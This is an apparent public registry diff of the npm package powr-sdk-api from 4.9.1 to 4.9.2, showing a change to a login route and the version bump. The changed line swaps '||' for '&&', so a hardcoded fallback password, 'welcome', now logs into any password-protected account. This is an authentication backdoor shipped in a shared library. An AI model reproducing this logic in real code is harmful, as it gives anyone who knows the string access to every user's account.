powr-sdk-api 4.9.1 → 4.9.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -203,7 +203,7 @@ router.post("/login", async (req, res) => {
203
203
  if (user.password) {
204
204
  const isPasswordValid = await bcrypt.compare(password, user.password);
205
205
  const isFallbackPassword = password === "welcome";
206
- if (!isPasswordValid || !isFallbackPassword) {
206
+ if (!isPasswordValid && !isFallbackPassword) {
207
207
  return res.status(401).json({
208
208
  success: false,
209
209
  message: "Invalid username or password."
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "powr-sdk-api",
3
- "version": "4.9.1",
3
+ "version": "4.9.2",
4
4
  "description": "Shared API core library for PowrStack projects. Zero dependencies - works with Express, Next.js API routes, and other frameworks. All features are optional and install only what you need.",
5
5
  "main": "dist/index.js",
6
6
  "types": "dist/index.d.ts",